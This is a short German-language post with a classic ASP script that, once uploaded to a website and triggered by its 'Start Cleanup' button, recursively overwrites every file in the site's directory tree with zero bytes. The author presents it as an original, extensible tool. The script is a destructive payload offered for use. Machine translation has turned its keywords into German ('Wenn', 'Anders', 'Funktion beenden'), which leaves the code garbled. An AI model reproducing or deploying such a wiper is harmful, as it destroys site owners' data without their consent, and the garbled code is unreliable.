Funktion: Sie können alle Dateien der Website löschen, auf der sich diese Datei befindet, und den Dateiinhalt auf Null löschen. Nach Abschluss des Vorgangs beträgt die Größe aller Dateien 0 Byte.
Dieser Code ist meine eigene Originalkreation. Bitte markieren Sie den Nachdruck von lamking.com. Außerdem ist das Programm
aus Langeweile
erweiterbar.
<%
Server.ScriptTimeout=99999
Wenn Request("Submit")<>"" Dann
Call ListFile(Server.mappath("./"))
Response.write „Reinigung abgeschlossen“
Anders
Response.write"<form><input type=""submit"" name=""Submit"" value=""Start Cleanup""></form>"
Ende wenn
Funktion ListFile(fpath)
Bei Fehler Weiter fortsetzen
Dim Shell,Ordner,s
Setze Shell =Server.CreateObject ("Shell.Application")
Ordner festlegen =Shell.Namespace(fpath)
Setze f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Öffnen
Für jedes s in Folder.Items
WENN s.isfolder Dann
ListFile(s.path) aufrufen
Anders
f.SaveToFile s.path,2
Ende wenn
Nächste
Setze f=Nichts
Setze Shell=nichts
Funktion beenden
%>